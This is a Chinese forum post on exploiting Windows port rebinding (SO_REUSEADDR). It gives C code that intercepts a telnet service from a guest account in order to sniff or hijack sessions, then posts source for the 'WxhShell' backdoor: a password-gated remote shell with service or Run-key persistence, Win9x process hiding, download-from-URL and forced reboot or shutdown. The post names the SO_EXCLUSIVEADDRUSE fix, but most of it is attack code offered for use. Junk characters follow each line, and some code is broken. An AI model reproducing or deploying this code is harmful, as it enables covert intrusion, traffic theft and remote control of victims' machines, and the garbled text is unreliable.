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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0 a80 LAK  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z&;uh_EC  
+$g}4  
  saddr.sin_family = AF_INET; %CK^Si%+  
``wSc0\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); s"t$0cH9  
>=[(^l  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 'Lu__NfN  
'7XIhN9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z`:lcF{V  
0`^&9nR  
  这意味着什么?意味着可以进行如下的攻击: |JQQU! x  
FCnm1x#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 H1} RWaJ  
#O+),,WS  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )c `7( nY  
C=eF.FB;'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 yu;P +G  
xg3:}LQ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  PYGRsrcFd#  
iyg*Xbmi~.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %}%Qc6.H  
D8$G`~hD  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @nux9MX<9  
v%q0OX>9X"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <yd{tD$A*  
3\XU_Xs(]  
  #include HSc~*Q  
  #include 1fpQLaT  
  #include 8P|D13- Q  
  #include    DAXX;4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   u:=7l  
  int main() q^Y-}=w  
  { 'Iw NTM  
  WORD wVersionRequested; <ZNzVnVA  
  DWORD ret; RS8Hf~0G  
  WSADATA wsaData; \SB c;  
  BOOL val; >k (C  
  SOCKADDR_IN saddr; N<XNTf  
  SOCKADDR_IN scaddr; ~{jcH  
  int err; U H*r5o3  
  SOCKET s; d~i+ I5  
  SOCKET sc; ~vyf4TF<#  
  int caddsize; [5SD_dN  
  HANDLE mt; >Z'NXha  
  DWORD tid;   R=QZgpR  
  wVersionRequested = MAKEWORD( 2, 2 );  |'B7v i)  
  err = WSAStartup( wVersionRequested, &wsaData ); d>mo~  
  if ( err != 0 ) { NA~Vg8  
  printf("error!WSAStartup failed!\n"); tP$<UKtU  
  return -1; [D\k^h  
  } ]GW]dM  
  saddr.sin_family = AF_INET; vkri+:S3  
   Zcx`SC-0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 e]zBf;9 J  
C$XU%5qi  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^G}47(  
  saddr.sin_port = htons(23); rR(X9i  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =Jyu4j *}  
  { iMDM1}b  
  printf("error!socket failed!\n"); ~kEI4}O  
  return -1; }khV'6"'|  
  } ~ v|>xqWV  
  val = TRUE;  2*^j  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 xD~5UER  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) YwjKAyLU  
  { J^Wa8Q;9lX  
  printf("error!setsockopt failed!\n"); [J?aD`{#O  
  return -1; hYG6 pTCb  
  } kY-N>E:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "W955?4m  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 W *),y:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <^5Z:n!q  
JehrDC2N  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) klT@cO-9  
  { 3 :<WY&9  
  ret=GetLastError(); l*d(;AR  
  printf("error!bind failed!\n"); :LW4E9O=H  
  return -1; GLeK'0Q@  
  } f Sa"%8%  
  listen(s,2); "hH.#5j  
  while(1) l~w2B>i)  
  { 3sy (vC  
  caddsize = sizeof(scaddr); ;;6uw\6 O  
  //接受连接请求 of%Ktm5Qi  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @1o/0y"  
  if(sc!=INVALID_SOCKET) 8 Hg+H=?  
  { 2fn&#kw/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0=2@  
  if(mt==NULL) |EX(8y  
  { TJ6*t!'*X  
  printf("Thread Creat Failed!\n"); s %j_H  
  break; ux vqMgR  
  } +0nJ  
  } Y)*#)f  
  CloseHandle(mt); EyJJ0  
  } 5B3G @KR  
  closesocket(s); \fz<.l]  
  WSACleanup(); A$Hfr8w1u  
  return 0; dxMOn  
  }   jCOIuw  
  DWORD WINAPI ClientThread(LPVOID lpParam) oAODp!_c  
  { #S!)JM|4wk  
  SOCKET ss = (SOCKET)lpParam; N4F.Y"R$(  
  SOCKET sc; 6xTuNE1  
  unsigned char buf[4096]; MyJ%`@+1  
  SOCKADDR_IN saddr; ib#KpEk  
  long num; =Y|VgV  
  DWORD val; 96( v  
  DWORD ret; `{3<{wgw  
  //如果是隐藏端口应用的话,可以在此处加一些判断 g?goZPZB  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   cQy2"vtU  
  saddr.sin_family = AF_INET; 5q3JI  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); gmw|H?]  
  saddr.sin_port = htons(23); cQCSe,$ W  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G|!Tj X7s  
  { |"ls\ 7  
  printf("error!socket failed!\n"); Yvw(t j5_5  
  return -1; ayR-\mZ  
  } M?Y;a5{  
  val = 100; ,8U &?8l  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) snE8 K}4  
  { bzBEX mC  
  ret = GetLastError(); x<tb  
  return -1; s~ a"4~f  
  } ^}/PGG\~r  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) le|~BG hL  
  { <\r T%f}3^  
  ret = GetLastError(); UZ\u;/}  
  return -1; 4":KoS`,j  
  } K[YI4pt7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) kCWV r  
  { YxYH2*q@  
  printf("error!socket connect failed!\n"); y-'$(x  
  closesocket(sc); :~"CuB/  
  closesocket(ss); :~&~y-14  
  return -1; FH?U(-  
  }  VA6}  
  while(1) at#ja_ hd  
  { ?~BC#B\>o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 BKCA <  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 I0D(F i  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  eI$oLl@  
  num = recv(ss,buf,4096,0); L iN$ pwm  
  if(num>0) 2V mNZ{<  
  send(sc,buf,num,0); LO9=xGj.  
  else if(num==0) JU1~e@/'%  
  break; Z]>O+  
  num = recv(sc,buf,4096,0); |mxDjgq  
  if(num>0) !JHL\M>A5  
  send(ss,buf,num,0); XKj|f`  
  else if(num==0) ]#)()6)2v  
  break; ?PuBa`zDE  
  } ! `   
  closesocket(ss); ] {RDVA=]  
  closesocket(sc); Ta ZmRL  
  return 0 ; !"?#6-,Xn  
  } '.IW.{;$  
#++lg{  
s Ep"D+f  
========================================================== R1adWBD>  
PCHu #5j_a  
下边附上一个代码,,WXhSHELL DU0zez I9  
g0xuxK;9c  
========================================================== "h{q#~s  
kj#?whK6~  
#include "stdafx.h" .F4>p=r  
GFj{K  
#include <stdio.h> cM(:xv  
#include <string.h> OcR$zlgs[v  
#include <windows.h> CpUk Cgg  
#include <winsock2.h> k3lS8d7  
#include <winsvc.h> bn|I> e  
#include <urlmon.h> CKYc\<zR0l  
:%l TU  
#pragma comment (lib, "Ws2_32.lib") 27eooY1  
#pragma comment (lib, "urlmon.lib") Jj; L3S  
MK%9:wZ  
#define MAX_USER   100 // 最大客户端连接数 ~qiJR`Jj  
#define BUF_SOCK   200 // sock buffer }*M6x;t  
#define KEY_BUFF   255 // 输入 buffer dN$0OS`s[  
e>} s;H,  
#define REBOOT     0   // 重启 J{.{f  
#define SHUTDOWN   1   // 关机 0.`/X66;V  
Z;h t  
#define DEF_PORT   5000 // 监听端口 NO*u9YH?  
((YMVe  
#define REG_LEN     16   // 注册表键长度 v [wb~uw\  
#define SVC_LEN     80   // NT服务名长度 :}He\V  
7x"R3  
// 从dll定义API +SP{hHa^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m~iXl,r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]J1dtN=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VQc_|z_ s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \\iQEy<i  
&PR5q 7  
// wxhshell配置信息 rN<0 R`4sE  
struct WSCFG { JrJo|0Q  
  int ws_port;         // 监听端口 k KaE=H-x  
  char ws_passstr[REG_LEN]; // 口令 Y+kfBvxyf  
  int ws_autoins;       // 安装标记, 1=yes 0=no -$pzl,^ h  
  char ws_regname[REG_LEN]; // 注册表键名 [`ebM,W  
  char ws_svcname[REG_LEN]; // 服务名 l.q&D< _  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }s7$7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zIqU,n|]s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }zeO]"`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "M<8UE\n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d`QN^)F0#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iFd+2S%  
6hno)kd{=  
}; H`*LBqDk  
AFq~QXmr)  
// default Wxhshell configuration M1k{t%M+S  
struct WSCFG wscfg={DEF_PORT, Kr?TxhUHd  
    "xuhuanlingzhe", U\g/2dM  
    1, F6|TP.VY_.  
    "Wxhshell", 7o7)0l9!  
    "Wxhshell", ew>XrT=Zm  
            "WxhShell Service", ()Y~Q(5ji  
    "Wrsky Windows CmdShell Service", UE8kpa)cQ  
    "Please Input Your Password: ", vk}n,ecl  
  1, G"r1+#  
  "http://www.wrsky.com/wxhshell.exe", _~'=C#XI)  
  "Wxhshell.exe" hCi60%g/n  
    }; 1$xNUsD2  
h1j!IG  
// 消息定义模块 ty8q11[8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tZ]?^_Y1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; / kF)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8V~k5#&Ow  
char *msg_ws_ext="\n\rExit."; Cz9xZA{[M  
char *msg_ws_end="\n\rQuit."; ,kyJAju>  
char *msg_ws_boot="\n\rReboot..."; q_MPju&*  
char *msg_ws_poff="\n\rShutdown..."; [8Y:65  
char *msg_ws_down="\n\rSave to "; b_$4V3TA  
AiwOc+R  
char *msg_ws_err="\n\rErr!"; EuEZ D +  
char *msg_ws_ok="\n\rOK!"; =rMUov h  
i[O& )N,c  
char ExeFile[MAX_PATH]; `fA@hK   
int nUser = 0; B al`y  
HANDLE handles[MAX_USER]; r)Ma3FL0;  
int OsIsNt; |J1$= s  
vHgi <@u  
SERVICE_STATUS       serviceStatus; +cJL7=V&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8+~ >E  
wy<\Tg^J  
// 函数声明 uu-PJTNZ  
int Install(void); -"R2  
int Uninstall(void); #Vnkvvv  
int DownloadFile(char *sURL, SOCKET wsh); kDEXN  
int Boot(int flag); x,'(5*  
void HideProc(void); iJ ($YvF4  
int GetOsVer(void); Y[ j6u\y  
int Wxhshell(SOCKET wsl); f&=AA@jLv  
void TalkWithClient(void *cs); XPavReGf  
int CmdShell(SOCKET sock); +vw\y  
int StartFromService(void); \S"isz  
int StartWxhshell(LPSTR lpCmdLine); G'nmllB`]  
j%Y#(Q>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1rNzJ;'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =T3 <gGM  
|.(dq^  
// 数据结构和表定义 g!FuY/%+  
SERVICE_TABLE_ENTRY DispatchTable[] = [T|aw1SoN  
{ S){)Z  
{wscfg.ws_svcname, NTServiceMain}, rF3wx.  
{NULL, NULL} 1gE [v  
}; Bj+S"yS  
#QS`_TlKk  
// 自我安装 ^4y,W]JUDt  
int Install(void) 6, ^>mNm  
{ kVuUjP6(c  
  char svExeFile[MAX_PATH]; zv|2:4H  
  HKEY key; l^! ?@Kg,z  
  strcpy(svExeFile,ExeFile); )1Y{Q Y}l  
X@--m6-  
// 如果是win9x系统,修改注册表设为自启动 >,v`EIg  
if(!OsIsNt) { eln)BW#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y|jl[pyg)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [ZNtCnv  
  RegCloseKey(key); FVMD>=k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b10cuy|a/X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tl[Uw[  
  RegCloseKey(key); P:hBt\5B  
  return 0; <kfnpB=  
    } ({ +!`}GY  
  } /?wtF4  
} To\QjP-  
else { OstQqV%@  
a Fl;BhM  
// 如果是NT以上系统,安装为系统服务 i"1Mfz~e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a H yx_B  
if (schSCManager!=0) u^^vB\"^  
{ ^8]NxV@l  
  SC_HANDLE schService = CreateService )~& CvJ  
  ( aacpM[{f  
  schSCManager, L{#IT.  
  wscfg.ws_svcname, %gInje  
  wscfg.ws_svcdisp, /RG:W0=K  
  SERVICE_ALL_ACCESS, <h!_>:2L  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =R^%(Py  
  SERVICE_AUTO_START, aJSO4W)P  
  SERVICE_ERROR_NORMAL, cA&9e<  
  svExeFile, L s G\OG  
  NULL, Ij 79~pn  
  NULL, rExnxQ<e  
  NULL, gLb`pCo/  
  NULL, 2ElJbN#  
  NULL ~b(i&DVK  
  ); fIM,lt  
  if (schService!=0) @hl.lq  
  { %9 SJ E  
  CloseServiceHandle(schService); {k(g]#pP  
  CloseServiceHandle(schSCManager); /hpY f]t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $&Gu)4'+  
  strcat(svExeFile,wscfg.ws_svcname); ?(xnSW@r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J; S (>c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dR K?~1  
  RegCloseKey(key); bes<qy  
  return 0; <3L5"77G 6  
    } 'Oxy$U   
  } XUrXnz|>  
  CloseServiceHandle(schSCManager); PG2:~$L0  
} ]yV!  
} )"qa kT  
c& < Fr[AK  
return 1; *$#W]bO  
} <g-9T-Ky  
.Q<>-3\K  
// 自我卸载 sm9k/(-  
int Uninstall(void) _qU4Fadgm  
{ C=-=_>Q,L<  
  HKEY key; =-tw5], L  
3\AU 72-  
if(!OsIsNt) { sXqz+z$*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bkRLC_/d  
  RegDeleteValue(key,wscfg.ws_regname); n*o-Lo+Fe.  
  RegCloseKey(key); } j<)L,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { __uA}f Zp  
  RegDeleteValue(key,wscfg.ws_regname); _,kj:R.  
  RegCloseKey(key); :{{F *FM;  
  return 0; 97Lte5c6r  
  } Cwr~HY  
} ^0Zf,40  
} {M3qLf~z#C  
else { K~uXO  
I) rCd/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e4-@ f%5  
if (schSCManager!=0) r`$OO,W  
{ u\a#{G;Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r+'qd)  
  if (schService!=0) eJ,/:=QQ{  
  { r=Gks=NX"  
  if(DeleteService(schService)!=0) { oL-]3TY~  
  CloseServiceHandle(schService); Y=%tn8<  
  CloseServiceHandle(schSCManager); q$p%ZefZ  
  return 0; ) g0%{dfJ  
  } Y$o< 6[7  
  CloseServiceHandle(schService); U] ~$g}!)  
  } (DJ"WG  
  CloseServiceHandle(schSCManager); FSP+?((  
} eP.wOl  
} w2Us!<x  
&]V.S7LC #  
return 1; Y1L[;)Hn  
} Uq[>_"}  
uyO/55;HO  
// 从指定url下载文件 f0A{W/0n  
int DownloadFile(char *sURL, SOCKET wsh) ``V" D  
{ WJ$bf(X*  
  HRESULT hr; i1UiNJh86  
char seps[]= "/"; Ha(c'\T (\  
char *token; P|^f0Rw3.  
char *file; D!@Ciw  
char myURL[MAX_PATH]; Wfu(*  
char myFILE[MAX_PATH]; '>NCMB{*  
7jxslI&F  
strcpy(myURL,sURL); bW$,?8(  
  token=strtok(myURL,seps); )}g(b=  
  while(token!=NULL) *RDn0d[  
  { 2SD`OABf#  
    file=token; +j#+8Ze  
  token=strtok(NULL,seps); c7<wZ  
  } u$h 4lIl  
QaS1Dh  
GetCurrentDirectory(MAX_PATH,myFILE); x%s-+&  
strcat(myFILE, "\\"); \?w2a$?6w  
strcat(myFILE, file); ?e` ^P   
  send(wsh,myFILE,strlen(myFILE),0); FFl!\y*0z  
send(wsh,"...",3,0); cIUHa  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \}+_Fo/  
  if(hr==S_OK) EtJHR  
return 0; Ua<5U5  
else @V(*65b2  
return 1; B+Rm>^CBm  
^tqzq0  
} I+BHstF5um  
Bu#E9hJFvA  
// 系统电源模块 UGD2  
int Boot(int flag)  >d*iD  
{ <S\jpB  
  HANDLE hToken; 8N!b>??  
  TOKEN_PRIVILEGES tkp; " f <Z=c  
WgR).Yx  
  if(OsIsNt) { ,f<?;z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vmi+_]   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bT\1>  
    tkp.PrivilegeCount = 1; ]}*R|1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IW>T}@ |  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;t'5},(FP  
if(flag==REBOOT) { 7zA'ri3w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8R2QZXJb-  
  return 0; Jy^u?  
} cU RkP`  
else {  0bz'&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Diy8gt  
  return 0; 2!0c4a^z  
} ;ZH3{  
  } yaD~1"GA'O  
  else { U [*FCD!~  
if(flag==REBOOT) { qT ,Te  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fg s!v7  
  return 0; 5"^en# ?9  
} : imW\@u  
else { ?QsQnQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *Y,x|F  
  return 0; U(a#@K !H  
} .+qQYDE w  
} Fa?~0H/DL  
 RwKdxK+;  
return 1; FO=4:   
} mN~ci 0  
3) 8QS  
// win9x进程隐藏模块 34z"Pm  
void HideProc(void) io _1Y]N  
{ XnDUa3  
K:!"+q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V\{clJ\U  
  if ( hKernel != NULL ) ~s% Md  
  { q_TR q:&.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MTsM]o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OSlvwH%(EE  
    FreeLibrary(hKernel); M}d_I+  
  } ahuGq'  
?/BqD;{?I  
return; K$>%e36Cc  
} ->sm+H-*  
?sab*$wG  
// 获取操作系统版本 4 K!JQ|9  
int GetOsVer(void) r) HHwh{9  
{ LISM ngQ.  
  OSVERSIONINFO winfo; ./,/y"x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lm!.W5-l  
  GetVersionEx(&winfo); qo p^;~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B$- R-S6  
  return 1; D6%J\C13`  
  else c0PIc^R(@  
  return 0; |*:'TKzNS  
} TX$r `~  
JM=JH 51`  
// 客户端句柄模块 GYJ80k|  
int Wxhshell(SOCKET wsl) MJOz.=CbhR  
{ *#E F sUw  
  SOCKET wsh; ~$ng^D  
  struct sockaddr_in client; K!:azP,bZ  
  DWORD myID; ?6Jx@Sh  
NYE` Kin-  
  while(nUser<MAX_USER) hHN'w73z  
{ &Nj3h(Ll  
  int nSize=sizeof(client); 7{e% u#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !>v2i"  
  if(wsh==INVALID_SOCKET) return 1; {wO3<9  
L0* nm.1X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u\ #"L  
if(handles[nUser]==0) a&tSj35*6  
  closesocket(wsh); ]4~lYuI4  
else K#EvFs`s;  
  nUser++; V@Rrn <l  
  } E^QlJ8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #OIcLEn%  
aEM%R<e  
  return 0; s}j{#xT  
} A9f)tqbc  
u xW~uEh  
// 关闭 socket .P;*Dws  
void CloseIt(SOCKET wsh) KB%"bqB|  
{ r YogW!  
closesocket(wsh); &0='r;*i  
nUser--; o}W%I/s  
ExitThread(0);  `dFq:8v  
} E5)b  
[pl'|B  
// 客户端请求句柄 eCN })An  
void TalkWithClient(void *cs) =+ytTQc*ot  
{ f47Od-\-  
|K6REkzr  
  SOCKET wsh=(SOCKET)cs; |<#{"'/=  
  char pwd[SVC_LEN]; AB F"~=aL  
  char cmd[KEY_BUFF]; ko Z  
char chr[1]; ,RJtm%w  
int i,j; /a^1_q-bX  
fBalTk;G{U  
  while (nUser < MAX_USER) { z8QAo\_I(  
WX=Jl<  
if(wscfg.ws_passstr) { '$|[R98  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *+-}P|S:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X*&[u7No  
  //ZeroMemory(pwd,KEY_BUFF); E_k$W5  
      i=0; 'SCidN(n  
  while(i<SVC_LEN) { #bMuvaP~  
|UK}  
  // 设置超时 K<pV  
  fd_set FdRead; hCCiD9gz  
  struct timeval TimeOut; S/^"@?z,vE  
  FD_ZERO(&FdRead); JQV%fTHS  
  FD_SET(wsh,&FdRead); My<snmr2d  
  TimeOut.tv_sec=8; yHs- h   
  TimeOut.tv_usec=0; dQ_!)f&w1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~V&aUDO>/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h(M#f7'~&  
cc#gEm)3C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k%D+Y(WGz8  
  pwd=chr[0]; R($KSui  
  if(chr[0]==0xd || chr[0]==0xa) { jqv-D  
  pwd=0; Tsgk/e9K2?  
  break; b /@#}Gc  
  } 2ggdWg7z  
  i++; 0o+6Q8q  
    } y9_K, g  
A3|Dz&@:  
  // 如果是非法用户,关闭 socket Cg&e(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hvA^n@nr  
} lz"OC<D}(  
BlXB7q,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WpF2)R}G=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pcYG~pZ9  
IkBei&4F`  
while(1) { Pm lx8@D  
_acE:H  
  ZeroMemory(cmd,KEY_BUFF); I 6<*X  
Bm"KOr$}-  
      // 自动支持客户端 telnet标准   1jy9lP=  
  j=0; I 4,K43|  
  while(j<KEY_BUFF) { 2C/$Ei^t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /h*>P:i].  
  cmd[j]=chr[0]; P^w#S  
  if(chr[0]==0xa || chr[0]==0xd) { v1%uxthW  
  cmd[j]=0; g{8,Wx,,  
  break; Eve.QAl|  
  } mMb'@  
  j++;  :@%4  
    } y>72{  
DTa N"{  
  // 下载文件 0BH_'ZW  
  if(strstr(cmd,"http://")) { KcK>%%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VwOW=4`6  
  if(DownloadFile(cmd,wsh)) Svc|0Ad&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); SILQ  
  else Ttxqf:OMf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UVw~8o9s  
  } PNaay:a|  
  else { BO~PT,QrF  
EX?MA6U  
    switch(cmd[0]) { ^1Zeb$Nw'  
  } p&&_?  
  // 帮助 4W3\P9p=  
  case '?': { 6`v7c!7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \RvvHty-V  
    break; jFA{+Yr1  
  } 7N:Y?Hi\  
  // 安装 po$ /7  
  case 'i': { O [i#9)  
    if(Install()) JMH8MH*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TiYnc3Bz}J  
    else 7b<je=G6PA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ai nG6Y<O`  
    break; =|I>G?g-  
    } PI`jExL  
  // 卸载 q o\?o    
  case 'r': { _io+YzS  
    if(Uninstall()) d!:6[7X6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Fi>p0bz  
    else yqi^>Ce0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "FTfk  
    break; f. FYR|%tq  
    } [P 06lIO  
  // 显示 wxhshell 所在路径 w9, iq@  
  case 'p': { 2 !At2P2  
    char svExeFile[MAX_PATH]; VUhbD  
    strcpy(svExeFile,"\n\r"); SQqD:{#g"  
      strcat(svExeFile,ExeFile); L{(QpgHZ  
        send(wsh,svExeFile,strlen(svExeFile),0); #B:hPZM1  
    break; \ gLHi~  
    } |b*? qf  
  // 重启 ^4,a8`  
  case 'b': { Sqo : -  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tI7:5Cm  
    if(Boot(REBOOT)) G3rj`Sg^c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JaK}|  
    else { ,t`Kv1  
    closesocket(wsh); 0#ClWynjRO  
    ExitThread(0); Eh|]i;G%  
    } 7vABq(  
    break; ( YQWbOk  
    } *,Za6.=  
  // 关机 w9o^s5n  
  case 'd': { e_/b2"{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  w~ [b*$  
    if(Boot(SHUTDOWN)) f|R"u W +  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u%/goxA  
    else { #*TEq  
    closesocket(wsh); `;>= '"O!\  
